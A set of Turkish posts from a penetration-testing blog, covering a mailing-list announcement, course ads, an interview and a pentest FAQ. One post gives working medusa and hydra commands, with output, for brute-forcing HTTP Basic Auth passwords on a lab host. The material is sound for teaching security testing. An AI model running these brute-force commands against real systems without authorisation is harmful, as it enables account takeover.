Sızma testleri E-posta listesi Türkiye’de her geçen gün önemi artan bir konu olan sızma testleri konusunda Türkçe bilgi paylaşımının artması, yeni sızma test uzmanlarına tecrübelerin aktarılması, sızma testleri konusunda ipuçları, döküman ve eğitimlerin paylaşılması amacıyla  kurulmuştur.

Üyelik
Pentest-Tr listesi genel katılıma açık bir listedir. Listeye  üye olabilmek için [email protected] adresine boş bir e-posta gönderilmesi yeterlidir. Liste üyeliği için kullanılacak e-posta adresleri moderasyon ekibi tarafından incelenerek onay verilmektedir.

Şüphe uyandırıcı e-posta adreslerinin listeye üyeliği onaylanmamaktadır. (ad soyad kısmı gozukmeyen, [email protected] gibi)

Liste Konuları
Sızma testleri listesi güvenlik zafiyet degerlendirme, sızma testleri ve bunlara ait alt bileşenleri içerecek her konu hakkinda bilginin paylaşımı yapılabilir.

Genel olarak aşağıdaki konu başlıkları listenin öncelikli konularındandır.

• Web Uygulama/ Servis Sızma Testleri (Web Application/service Penetration Test)
• Kaynak Kod İncelemesi (Source CodeReview/Auditing)
• Kablosuz Ağ Sızma Testleri (Wireless PenetrationTesting)
• VOIP(Voice Over IP ) Sızma Testleri (VOIP Penetration Test)
• Ağ Altyapısı Sızma Testleri (Network PenetrationTesting)
• Sosyal Mühendislik Sızma Testleri (Social Engineering Penetration Test)
• Yerel Ağ Sızma Testleri (LAN Penetration Testing)
• Mobil  Uygulama Sızma Testleri (Mobile Application Penetration Test)
• DDoS Saldırı Testleri (DdoS Pentest)
• Sanallaştırma/Bulut Sistem Sızma Testleri (Cloud/Virtual Penetration Test)
• Ağ ve Güvenlik Sistemlerine Yönelik Denetim Teknikleri
• Sızma Test Araçları
• Sızma Testleri Konusunda Eğitim ve Dökümanlar

Pentest-Tr E-posta Listesi Kuralları:

• Listeye “Ticari Duyuru” mailleri gönderilmesi yasaktır.
• Listede konuşulan tüm konular Google ve diğer arama motoru arşivlerine girmektedir ve arşivlerden silme imkanı bulunmamaktadır. [ilk uc ay haric]
• Listeye gönderilen tüm mesajlar moderasyondan geçmektedir, 5651 sayılı kanuna göre liste sahiplerini zor durumda bırakacak mailler(hakaret vs), spam/reklam mailleri ve güvenlikle ilgili olmayan mailler  onaylanmamaktadır.
• Siyasi ve ayrımcılık içeren mesajlar onaylanmamaktadır.
• Doğrudan üye olup duyuru göndermek isteyen üyelerimizin mesajları yayınlanmayacaktır.
• Aynı içerikte bir duyuru bir ay içerisinde bir kere gönderilebilir.

Gönderdiğiniz e-postalar listeye gitmiyorsa bunun sebepleri aşağıdaki maddelerden biri olabilir.

• Gönderilen e-posta liste içeriğiyle alakalı değildir
• Günderilen e-posta spam filtreleme sistemine takılmıştır
• Gönderilen e-posta “reklam” içermektedir. (Teknik ifadelerle desteklenmiş ürün duyuruları, önerilerine izin verilmektedir.)
• Hakaret içeren e-postalar
• +1, destekliyorum gibi gereksiz e-postalar
• Tamamı büyük harfle yazılmış e-postalar.

Liste Arşivi
Liste arşivi listeye yanlışlıkla gönderilebilecek hassas bilgilerin ifşa olmaması adına bir müddet sadece üyelere özel olacaktır.

İletişim
Geri bildirimler için lutfen [email protected] adresine e-posta gönderiniz.

The post [Pentest-Tr] Türkçe Sızma Testleri E-posta Listesi first appeared on Complexity is the enemy of Security.

Bu eğitim için kontenjanımız dolmuştur.  Ankara’da açılacak eğitimlerden haberdar olmak için lütfen [email protected] adresine e-posta gönderiniz.

Eğitim tanımı:

Beyaz Şapkalı Hacker eğitimi hackerların sistemlere sızmada kullandığı yöntemleri ve araçları detaylı ve uygulamalı bir şekilde anlatılarak proaktif güvenlik anlayışı kazandırma amaçlı bir eğitimdir. Benzeri eğitimlerden farkı eğitim içeriğinde gerçek dünyaya uygun uygulamaların kullanılması ve pratiğe önem verilmesidir. Beyaz şapkalı hacker eğitimi Ec-Council Certified Ethical Hacker v7 ile uyumludur.

Kimler Katılmalı:

* Sistem yöneticileri
* Ağ yöneticileri ve operatörleri
* Ağ güvenliği yönetici ve operatörleri
* Bilgi güvenliği uzmanları
* Adli bilişim uzmanları
* Bilişim hukuku alanı çalışanları

İşleyiş:

Eğitim gerçek sistemler üzerinde uzman eğitmenler eşliğinde uygulamalı olarak gerçekleştirilecektir.

Eğitim materyalleri:

• Eğitime özel Linux dağıtımı Vmware imajı
• Eğitim notlarına bir yıllık online erişim hakkı
• Katılım sertifikası

Katılımcıdan beklenenler:

Kişisel dizüstü bilgisayarı(Laptop)

Laptop gereksinimleri

* Windows XP, Windows 7 veya Linux
* Virtualbox, Vmware Workstation
* Admin hesabı
* 2GB ram

Eğitim Süresi:
5 gün

Eğitim Ücreti:
2250 TL+KDV , 10 Mart 2011 tarihine kadar yaptırılan kesin kayıt(+ödeme)larda %15 indirim imkanı sunulmaktadır.

Ön Gereksinimler:

• Uygulamalı Ağ Güvenliği Eğitimi

The post Beyaz Şapkalı Hacker Eğitimi 4-8 Nisan 2011(Ankara) first appeared on Complexity is the enemy of Security.

Parola, günümüz güvenlik dünyasının en zayıf halkalarından biridir. Güvenliğine ciddi önem verilmiş sistemler birden fazla yetkilendirme sistemi kullanarak bu zaafiyeti bir oranda kapatmaya çalışırlar.

Fakat yeteri önem verilmemiş sistemlerde basit parolaların kullanımını günümüzde sıkça  görüyoruz. Bu kısa yazı basic authentication kullanılarak meraklı gözlerden uzak tutulmaya çalışılan sayfalara yönelik bruteforce denemelerinin nasıl gerçekleştirileceğini göstermektedir.

Hedef sistemin basic-auth kullandığı nasıl anlaşılır?

Hedef sistemde basic-auth ile korunduğu düşünülen sayfa istenerek dönen cevaptaki “WWW-Authenticate” satırı kontrol edilirse hangi authentication tipinin kullanıldığı anlaşılır.

root@bga-seclabs:~# telnet www.bga.com.tr 80
Trying 91.93.119.87…
Connected to www.bga.com.tr.
Escape character is ‘^]’.
GET /wp-login.php HTTP/1.1
Host:www.bga.com.tr

HTTP/1.1 401 Authorization Required
Date: Sat, 19 Feb 2011 19:40:49 GMT
Server: Apache
WWW-Authenticate: Basic realm=”Yaramazlik yasak!”
Content-Length: 401
Content-Type: text/html; charset=iso-8859-1

401 Authorization Required

Bu aşamadan sonra medusa, hydra veya Ncrack yazılımları kullanılarak bruteforce denemeleri gerçekleştirilebilir.

Bruteforce Çalışmalarında Medusa Kullanımı

#medusa -M http -m USER-AGENT:”Firefox-Explorer-99.1″ -m DIR:/gizli-alan -m AUTH:BASIC -h 10.10.10.1 -u bga -P bga-wordlist22

…
…
…
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: zzzzzz (4406 of 4417 complete)
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: zzzzzzy (4407 of 4417 complete)
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: zzzzzzz (4408 of 4417 complete)
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: zzzzzzz (4409 of 4417 complete)
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: zzzzzzzthis (4410 of 4417 complete)
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: zzzzzzzz (4411 of 4417 complete)
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: zzzzzzzz (4412 of 4417 complete)
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: zzzzzzzzzz (4413 of 4417 complete)
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: zzzzzzzzzzzzz (4414 of 4417 complete)
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: zzzzzzzzzzzzzzzzzz (4415 of 4417 complete)
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: {log} (4416 of 4417 complete)
ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: 0u7b00k (4417 of 4417 complete)

ACCOUNT FOUND: [http] Host: 10.10.10.1 User: bga Password: 0u7b00k [SUCCESS]

Bruteforce Çalışmalarında Hydra Kullanımı

# hydra -l bga -P bga-wordlist22 -f 10.10.10.1 http-get /test -vV
Hydra v5.4 (c) 2006 by van Hauser / THC – use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2010-11-28 11:16:43
[DATA] 16 tasks, 1 servers, 4417 login tries (l:1/p:4417), ~276 tries per task
[DATA] attacking service http-get on port 80
…
…

[ATTEMPT] target 10.10.10.1 – login “bga” – pass “01214nd0” – child 26 – 675 of 4417
[ATTEMPT] target 10.10.10.1 – login “bga” – pass “0123” – child 27 – 676 of 4417
[ATTEMPT] target 10.10.10.1 – login “bga” – pass “012301279x” – child 28 – 677 of 4417
[ATTEMPT] target 10.10.10.1 – login “bga” – pass “012307120chi1u5” – child 29 – 678 of 4417
[ATTEMPT] target 10.10.10.1 – login “bga” – pass “0123071246in3” – child 0 – 679 of 4417
[ATTEMPT] target 10.10.10.1 – login “bga” – pass “0123071246u5” – child 1 – 680 of 4417
[ATTEMPT] target 10.10.10.1 – login “bga” – pass “01230c41294” – child 2 – 681 of 4417
[ATTEMPT] target 10.10.10.1 – login “bga” – pass “01230d0n” – child 3 – 682 of 4417
[ATTEMPT] target 10.10.10.1 – login “bga” – pass “01230d0n7” – child 4 – 683 of 4417
[ATTEMPT] target 10.10.10.1 – login “bga” – pass “01230d0n70id” – child 5 – 684 of 4417
[ATTEMPT] target 10.10.10.1 – login “bga” – pass “01230d0n7id43” – child 6 – 685 of 4417
[ATTEMPT] target 10.10.10.1 – login “bga” – pass “01230d0n7in3” – child 7 – 686 of 4417
[ATTEMPT] target 10.10.10.1 – login “bga” – pass “01230d0x4” – child 8 – 687 of 4417
[ATTEMPT] target 10.10.10.1 – login “bga” – pass “01230ph45i5” – child 9 – 688 of 4417
[ATTEMPT] target 10.10.10.1 – login “bga” – pass “01230ph45in3” – child 10 – 689 of 4417
[ATTEMPT] target 10.10.10.1 – login “bga” – pass “01230ph45in43” – child 11 – 690 of 4417
[STATUS] attack finished for 10.10.10.1 (waiting for childs to finish)
[80][www] host: 10.10.10.1 login: bga password: 0u7b00k
[ATTEMPT] target 10.10.10.1 – login “bga” – pass “0u7b00k” – child 3 – 4417 of 4417
Hydra (http://www.thc.org) finished at 2010-11-28 11:19:33

Her iki araç da hemen hemen aynı hızlarda parola deneme işlemi yapabiliyor. Her iki aracın da performansı sunucu kapasitesi, yapılandırımı ve bant genişliğiyle orantılıdır.

Detay bilgi için “Apache Htaccess Korumalı Sayfalara Yönelik Güvenlik Testleri” konulu  belge incelenebilir.

The post Basic Authentication Korumalı Sayfalara Bruteforce Denemesi first appeared on Complexity is the enemy of Security.

http://netsec.lifeoverip.net/duyuru/netsec-ag-ve-guvenlik-bulteni-sayi32-19-08-2010/ adresinden okuyabilirsiniz.

The post Netsec Güvenlik Bülteni: Sayı 32 – 19.08.2010 first appeared on Complexity is the enemy of Security.

http://netsec.lifeoverip.net/category/netsec-ag-ve-guvenlik-bulteni-sayi31-03-08-2010/ adresinden okuyabilirsiniz.

The post Netsec Güvenlik Bülteni: Sayı 31 – 03.08.2010 first appeared on Complexity is the enemy of Security.

NGB: Kısaca kendinizden bahsedebilir misiniz?

Deniz ÇEVİK: 1999 yılında Trakya Universitesi Bilgisayar Mühendisliği bölümünden mezun oldum. Sonrasında ise Yeditepe Univeritesinde Elektronik ticaret ağırlıklı bir MBA yüksek lisansı yaptım. Profesyonel çalışma hayatıma 1999 yılı içinde intellect firmasında başladım. Bu firmada güvenlik alanında oldukça farklı konuda çalışma imkanım oldu.

İlk yıllarımda daha çok network güvenliği, firewallar, IPS gibi sistemler ile uğraşırken son 4-5 yıldır daha çok güvenlik eğitimleri, denetim ve danışmanlık hizmetleri alanına kaydım. Ağların güvenli hale getirilmesini amaçlayan çok sayıda proje tasarımında ve kurulumunda çalıştım. Şu sıralar BizNET firmasında güvenlik denetim, danışmanlık ve eğitim hizmetleri üzerine çalışıyorum.

NGB:Güvenlik isine nasil bulastiniz?

Deniz ÇEVİK: Güvenlik konusu ile ilgilenmeye ciddi olarak üniversite yıllarında başladım. Kurumların henüz güvenlik konusunda yeni yeni yatırım yaptığı, syn attack ile sistemlerin göçtüğü, sendmail sayesinde root olunabilen, lquerpv komutları ile shadow dosyalarının rahatlıkla açılabildiği, winnuke ile ağda C&C oynayanların mavi ekranla tanıştığı güzel günlerdi.

Hep bu işlerin nasıl yapıldığını ve engellenebileceğini öğrenmeye yönelik ilgim oldu. Amacım mezun olunca yine bu alanda çalışmaktı ve arayışlarımı ona göre gerçekleştirdim. İşin ilginç yanı ilk iş görüşmemi de böyle bir firma ile yapmamdı. Pek çok kişinin bulamadığı bir fırsatı yakalayarak yapmak istediğim işe, iyi ve tecrübeli bir kadroya sahip firmada başlamış oldum.

NGB: Turkiye’de bilgi guvenligi konusunu degerlendirebilir misiniz

Deniz ÇEVİK:Türkiyede bilgi güvenliği konusuna verilen önem gün geçtikçe artıyor ama yapılan yatırımlar daha çok günü kurtarmaya yönelik oluyor. Bilgi güvenliği denilince algılanan kavram aslında bilgi güvenliğinin çok daha küçük bir bölümünü oluşturuyor. İnsanların önemli bir kısmı bilgi güvenliğini hala firewall, anti virus, 5651’den ibaret sanıyor. Bu insanların büyük çoğunluğu güvenlik işini “ne gerekiyorsa alıp kuralım güvenli olalım” mantığında sadece ürün satın almak ve kullanmaktan ibaret sanıyor. Testlerin, danışmanlığın, kurumsal bir politika geliştirilip buna ciddiyetle ve üst yönetimin tam desteği ile uygulanmasının gerekli olduğu henüz yeterince anlaşılamamış durumda.

Güvenlik ürün kadar hizmet ve beyin gücü gerektiren bir iştir. Bu iş sonucu üretilen ürün ise genellikle elle tutulamayan ve daha çabuk eskiyen bir üründür. Dolayısı ile kısa bir süre sonra eskiyecek veya yapılan işin değerini gösterme fırsatını genellikle bulamayacağınız bir yere büyük paralar saçmak istenmiyor. Bunun yerine asansörleri en lüks granitler ile döşemek için bütçe ayırmak daha doğru bir yaklaşım olarak ele alınıyor (gibi geliyor :)). Sonuçta bir sektörün gelişimi ona yapılan yatırımla doğru oranda artacaktır. Güvenlik alanına yapılan yatırımların artması, bu konuda hizmet veren ve ürün üreten kurumların sayısının artmasını sağlayacaktır. Yine kurumların kaliteli hizmet alabilmesi için, belirli miktarların üzerinde danışmanlık ücretlerini gözden çıkarmaları gerekmekteki, hizmet sunanlar o tecrübede insanları elde tutabilsinler.

Yurtdışında güvenlik gereksinimlerini tanımlayan ve zorlayan regülasyonlar Türkiye’de çok eksik veya olsa bile uygulanmasında lakayt davranılıyor. BDDK’nın tebliği en ciddi uygulananlar arasında. PCI hala kaçamak şekilde uygulanıyor. Sarbannes Oaxley benzeri borsaya kote şirketleri zorlayacak bir kanun/yönetmelik SPK tarafından zorlanmıyor. ISO 27001 konusunda yeteri kadar teşvik/zorlama yok. BTK’nın yaptığı bazı düzenlemeler ve yeni planlanan e-devlet ve bilgi toplumu kanun tasarısı bu konuda yakın zamanda bazı ilerlemeler sağlayabilir gibi duruyor. Sanırım bunların etkin uygulanabilmesi için yurtdışında olduğu gibi medyaya yansıyan önemli güvenlik ihlallerinin türkiyede de olmasını bekleyeceğiz

Güvenlik hizmeti veren firmalar için bir akreditasyon mekanizması yok. İş kalitesi için zorunlu tutulan kriterler yok. Firmalar ya elemanlarına aldırdıkları sertifikalar ile ya da reputasyonlarını kullanarak satış yapmaya çalışıyorlar. Böyle bir kriter hazırlayabilecek, firmaları eğitebilecek ve hatta akredite edebilecek nitelikteki kuruluşlar ise bunları yapmak yerine hem kamu hem de özel sekörde, güvenlik hizmetleri veren firmalara karşı ihalesiz iş alabilmek, bütçe sorunu olmamak gibi avantajları kullanarak ciddi bir şekilde haksız rekabet ediyor, bana göre sektöre zarar veriyor.

Güvenlik firmaları pek çok nedenden dolayı para kazanmak için ürün satışını tercih ediyor, güvenlik için yazılım veya teknoloji üretmeye çabalayan firmalar yeterli desteği göremiyor.

NGB: Bu ise yeni baslayanlara neler onerirsiniz?

Deniz ÇEVİK: Yeni başlayan arkadaşlarda bizim ilk aradığımız şey çalışma azmi ve öğrenme isteğidir.
Sürekli kendilerini geliştirme arayışında olsunlar. Bunun için önlerinde internet gibi inanılmaz bir kaynak bulunuyor. Her kapının başka bir kapıyı açtığı inanılmaz bir kütüphane. İşe başlarken hizmet veren bir firmada çalışmaları daha hızlı tecrübe kazanmalarına ve farklı sistemler, yapılar görme fırsatı sunacaktır. Bu onlara bilgiye daha hızlı sahip olma ve tecrübe açısından çok şey kazandıracaktır.

NGB: Sizce 2015 yilinda bilgi guvenligi dunyasi hangi konulari konusuyor olacak?

Deniz ÇEVİK: Genel itibari ile risk analiz, güvenlik süreçlerinin takibi, standartlara uyum, zafiyet yönetimi gibi ana konuların konuşulmaya devam edeceğini düşünüyorum. Son yıllarda mobil teknolojilerin kullanımında inanılmaz bir artış söz konusu, dolayısı ile bu yöne eğilimin ve güvenlik ihtiyaçlarının artacağını düşünüyorum.

Ürün satışı yerine kurumların servis satışlarına yönelerek gelir akışını sabit tutmaya yöneldiği göz çarpan bir başka husus. Uygulama problemlerine yönelik güvenlik arayışları devam edecektir, beklide web 3.0 ın sorunlarını konuşuyor olacağız. IPTV ve video-on-demand servislerinin de yaygın kullanılacağı, IP adresine sahip etkileşimli ev aletlerinin artacağı ve buna yönelik güvenlik arayışları ve sorunlarının artacağını da düşünülebilir.

Tüm güvenlik problemlerini istemci tarafında çözmeye çalışarak bu tip ürünlerin işletim sistemi ile entegre geleceğini düşünüyorum. Dolayısı ile Microsoft ile mcafee,symantec gibi firmaların birbirlerine dava açmaya başladıklarını görebiliriz.

NGB: Zaman ayırarak röportajımıza katıldığınız için teşekkür ederiz.

The post Güvenlik Röportajları #6 Deniz CEVIK first appeared on Complexity is the enemy of Security.

Öncelikle pentest kavramından ne anladığınızı  ve ne beklediğinizi bilmek size bu süreçte yardımcı olacaktır. Zira ne olduğunu bilmediğiniz bir servisi alarak sonradan bu muydu yani? Bu kadar parayı bu iş için mi verdim ya da bu sistemlere neden baktırmadım  gibi sorular sormayın kendinize.

1)Pentest nedir? Vulnerability assessment ve risk asssessment kavramlarından farkı nedir?

Pentest tanımı: Belirlenen bilişim sistemlerine mümkün olabilcek her yolun denenerek sızılmasıdır. Pentest de amaç güvenlik açıklığını bulmaktan öte bulunan açıklığı değerlendirip sistemlere yetkili erişimler elde etmektir.

Pentest çeşitleri: Whitebox, blackbox, graybox olmak üzere genel kabul görmüş üç çeşidi vardır. Bunlardan blackbox bizim genelde bildiğimiz ve yaptırdığımız pentest yöntemidir. Bu yöntemde testleri gerçekleştiren firmayla herhangi bir bilgi paylaşılmaz. Firma ismi ve firmanın sahip olduğu domainler üzerinden firmaya ait sistemler belirlenerek çalışma yapılır.

Diğer yöntemlerde pentest yapacak firmayla belirli bilgiler paylaşılır.

Vulnerability Assessment(zaafiyet tarama): Belirlenen sistemlerde güvenlik zaafiyetine sebep olabilecek açıklıkların araştırılması. Bu yöntem için genellikle otomatize araçlar kullanılır(Nmap, Nessus, Qualys vs)gibi.

Risk assessment tamamen farklı bir kavram olup pentest ve vuln. assessmenti kapsar. Zzaman zaman technical risk assessment tanımı kullanılarak Vulnerability assessment kastedilir.

2)Neden Pentest yaptırmalıyım?

Sahip olduğunuz bilişim sistemlerindeki güvenlik zaafiyetlerinin üçüncü bir göz tarafından kontrol edilmesi ve raporlanması proaktif güvenliğin ilk adımlarındandır. Siz ne kadar güvenliğe dikkat ederseniz birşeylerin gözünüzden kaçma ihtimali vardır ve internette hackerlarin sayısı ve bilgi becerisi her zaman sizden iyidir. Hackerlara yem olmadan kendi güvenliğinizi Beyaz şapkalı hackerlara test ettirmeniz yararınıza olaacktır.

Ek olarak PCI, HIPAA gibi standartlar da Pentest yaptırmayı zorunlu tutmaktadır.

3)Pentest projesinin planı nasıl olmalıdır?

Yaptırılacak pentestden olabildiğince çok verim alabilmek için her işte olduğu gibi burada da plan yapmak gerekir. Pentest planınıza en azından aşağıdaki soruları cevaplayarak hazırlayın

• Pentest’in kapsamı ne olacak?
• Sadece iç ağ sistemlerimimi, uygulamalarımı mı yoksa tüm altyapıyı mı test ettirmek istiyorum
• Testleri kime yaptıracağım
• Ne kadar sıklıkla yaptırmalıyım
• Riskli sistem ve servisler kapsam dışı olmalı mı yoksa riski kabul edip sonucunu görmelimiyim.
• DDOS denemesi yapılacak mı

4)Firma secimi konusunda nelere dikkat etmeliyim?

Pentest yapacak firma ne kadar güvenili olsa da-aranizda muhakkak imzalı ve maddeleri açık bir NDA olmalı- siz yine de kendinizi sağlama alma açısından firmanın yapacağı tüm işlemleri loglamaya çalışın. Bunu nasıl yaparsınız? Firmanın pentest yapacağı ip adres bilgilerini isteyerek bu ip adreslerinden gelecek tum trafiği Snort veya benzeri bir yazılım kullanarak loglayabilirsiniz.

• Özellikle web trafiği -ki en kirik bilgiler burada çıkacaktır- Snort ile cok rahatlıkla sonradan incelendiğinde anlaşılacak şekilde kaydettirilebilir.
• Firmada test yapacak çalışanların CVlerini isteyin . Varsa testi yapacak çalışanların konu ile ilgili sertifikasyonlara sahip olmasını ercih edin.
• Testi yapacak çalışanların ilgili firmanın elemanı olmasına dikkat edin.
• Firmaya daha önceki referanslarını sorun ve bunlardan birkaçına memnuniyetlerini sorun.
• Mümkünse firma seçimi öncesinde teknik kapasiteyi belirlemek için tuzak sistemler kurarak firmaların bu sistemlere saldırması ve sizin de bildiğiniz açıklığı bulmalarını isteyin.
• Firmadan daha önce yaptığı testlerle ilgili örnek raporlar isteyin.
• Testlerin belirli ip adreslerinden yapılmasını ve bu ip adreslerinin size bildirilmesini talep edin.
• Firmaya test için kullandıkları standartları sorun.
• Firmanın test raporunda kullandığı tüm araçları da yazmasını isteyin.
• Pentest teklifinin diğerlerine göre çok düşük olmaması

Penetration test firmanın özel işi mi yoksa oylesine yaptığı bir iş mi? Bu sorgu size firmanın konu hakkında yetkinliğine dair ipuçları verecektir.

5)Pentest yapan firmadan sonuç olarak neler beklemeliyim?

• Yöneticilere ve teknik çalışanlara özel iki farklı rapor
• Raporların okunabilir ve anlaşılır olması
• Testler esnasında keşfedilen kritik seviye güvenlik açıklıklarının anında bildirilmesi
• Pentest raporunun şifreli bir şekilde iletilmesi

6)Pentest sonrası nasıl bir yol izlemeliyim?

Pentest yaptırmak ne kadar önemliyse sonuçlarını değerlendirip aksiyon almak çok daha önemlidir.Malesef ki yaygın olarak yapılan yanlış sadece pentest yapıp raporu incelemek oluyor. Pentest sonrası açıklıkların kapatılmaması ve bir sonraki pentestde aynı açıklıkların tekrar çıkması sık karşılaşılan bir durumdur.

• Pentest raporlarının üst yönetimle paylaşılıp yönetim desteğinin alınması
• Sonuçlarının basit açıklıklar olarak değil, bir risk haritası kapsamında yönetime sunulması(bu açıklık hackerlar tarafından değerlendirilirse şu kadar kaybımız olur gibisinden)
• Raporu detaylıca inceleyip her bir açıklığın kimin ilgi alanına girdiğinin belirlenmesi
• Sistem yöneticileri/yazılımcılarla toplantı yapıp sonuçların paylaşılması
• Açıklıkların kapatılmasının takibi
• Bir sonraki pentestin tarihinin belirlenmesi

7)Turkiye’de pentest yapan hangi firmalar var?

Benim 2000 yılından beri çeşitli ortamlarda çalıştığım, raporlarını incelediğim ve ortanın üzerinde kabul ettiğim Pentest firmaları :

Güncel liste için http://blog.lifeoverip.net/2010/01/27/turkiyedeki-bilgi-guvenligi-firmalari/ adresini ziyaret edebilirsiniz.

• BGA Bilgi Güvenliği Eğitim ve Danışmanlık Ltd. Şti https://www.bgasecurity.com/
• Pro-G
• Nebula Bilişim Hizmetleri
• ADEO
• BizNet
• GamaSec
• Tubitak UEKAE
• Lostar B.G

Bunların haricinde bir de bireysel olarak bu işi yapanlar var. Bu konuda eğer pentest yapan kişiyi iyi tanımıyorsanız kişi yerine firmayı tercih etmeniz faydalı olacaktır.
8)Pentest konusunda kendimi geliştirmek için izleme gereken yol nedir?

Pentest konusunda kendinizi geliştirmek için öncelikle bu alana meraklı bir yapınızın olmasın gerekir. İçinizde bilişim konularına karşı ciddi merak hissi , sistemleri bozmaktan korkmadan kurcalayan bir düşünce yapınız yoksa işiniz biraz zor demektir. Zira pentester olmak demek başkalarının düşünemediğini düşünmek, yapamadığını yapmak ve farklı olmak demektir.

Bu işin en kolay öğrenimi bireysel çalışmalardır, kendi kendinize deneyerek öğrenmeye çalışmak, yanılmak sonra tekrar yanılmak ve doğrsunu öğrenmek. Eğitimler bu konuda destekci olabilir. Sizin 5-6 ayda katedeceğiniz yolu bir iki haftada size aktarabilir ama hiçbir zaman sizi tam manasıyla yetiştirmez, yol gösterici olur.

Pentest konularının konuşulduğu güvenlik listelerine üyelik de sizi hazır bilgi kaynaklarına doğrudan ulaştıracak bir yöntemdir.

Linux öğrenmek, pentest konusunda mutlaka elinizi kuvvetlendirecek, rakiplerinize fark attıracak bir bileziktir. Bu işi ciddi düşünüyorsanız mutlaka Linux bilgisine ihtiyaç duyacaksınız.
9)Pentest için hangi yazılımlar kullanılır?

Açıkkod Pentest Yazılımları: Nmap,  Nessus, Metasploit, Inguma, hping, Webscarab, jtr, W3af

Açık kodlu bilinen çoğu pentest yazılımı Backtrack güvenlik CDsi ile birlikte gelir. Bu araçları uygulamalı olarak öğrenmek isterseniz https://www.bgasecurity.com/egitim/kali-linux-101-egitimi/ eğitimine kayıt olabilirsiniz.

Ticari Pentest Yazılımları: Immunity Canvas, Core Impact, HP Webinspect, Saint Ssecurity Scanner

Bu araçların yanında araçlar kadar önemli olan pentest metodolojileri vardır. Bunların da araçlar kadar iyi bilinmesi ve kullanılması gerekir.

OWASP guide, NIST, ISSAF, OSTTM

10)Pentest konusunda hangi eğitimler vardır?

• SANS’ın Pentest eğitimleri
• Pentest eğitimleri
• Ec-Council Pentest eğitimleri
• http://www.penetration-testing.com/

The post 10 Soruda Pentest(Penetrasyon Testleri) first appeared on Complexity is the enemy of Security.

Bunlar: Backtrack ile penetrasyon testleri eğitimi, Forensic analiz eğitimi ve Açık kod güvenlik yazılımlarıyla sınır güvenliği eğitimi.

Şimdilik sadece Backtrack eğitimini açıyoruz. 2010 yılında diğer eğitimleri de vermeye başlayacağız. Eğitimlere kayıt olmak ya da detay bilgi almak için http://www.guvenlikegitimleri.com adresini ziyaret edebilirsiniz.

Yeni dönem eğitimleri ve tarihleri aşağıdaki gibidir. 3 Ekim 2009’a kadar yaptırılacak kesin kayıtlarda %20 indirim uygulanacaktır.

Uygulamalı TCP/IP Güvenliği Eğitimi 17 Ekim 2009

Backtrack ile Penetrasyon Testleri 24-25 Ekim 2009

Beyaz Şapkalı Hacker Eğitimi 31 Ekim 2009

The post Guvenlikegitimleri.com güz dönemi eğitimleri first appeared on Complexity is the enemy of Security.

SANS Organizasyonunun en popüler eğitimlerinden biri olan “Security 560: Network Penetration Testing and Ethical Hacking” eğitimi Ekim ayında  Mentor formatında İstanbul’da verilmeye başlanacak. Eğitim, içerik olarak “Reconnaissance” ile başlayıp “Scanning” , “Exploitation” ve “Password Attacks” şeklinde devam edip “Wireless Attacks” ve “Web Attacks” konularına değindikten sonra bütün anlatılanların bir CTF(Capture The Flag) uygulaması ile sonlandırılacağı bir eğitim olacaktır.

Bu eğitim de öğrenciye SANS’ın “Self Study” eğitiminde olduğu gibi kurs kitapları, kurs CD-DVD leri ve kurs MP3 dosyaları verilecektir. Bunun yanısıra Mentor eğitimine bağlı olarak online kurs materyali ve mentor “hands-on” lab notları öğrenciye verilecektir.  10 adet 2 saatlik oturumlar şeklinde oluşacak ve tamamen “hands-on” lablar şeklinde işlenecek olan eğitim, 10 Ekim 2009 tarihinde başlayıp 12 Aralık 2009 tarihinde sona erecektir. Bu oturumlar İbrahim Saruhan ve Halil Öztürkci tarafindan yönetilecek ve eğitime katılan tüm öğrencilerin lablarda aktif rol olması sağlanacaktır.

Eğitime kayıt detayları ve kayıt için http://www.sans.org/mentor/details.php?nid=19944 adresine bakabilirsiniz. 

Not: Gerek SANS’ın eğitim kalitesi gerek Halil’in eğitmenlik kalitesi bu eğitimi alınabilir kılıyor ama eğitim yöntemi konusunda tereddütlerim var. Bir ön session düzenlenebilirse eğitimin nasıl işleyeceği konusunda kafalardaki soru işaretlerinin azalmasını sağlayacaktır.

The post SANS 560-: Network Penetration Testing and Ethical Hacking Eğitimi Türkiye’de first appeared on Complexity is the enemy of Security.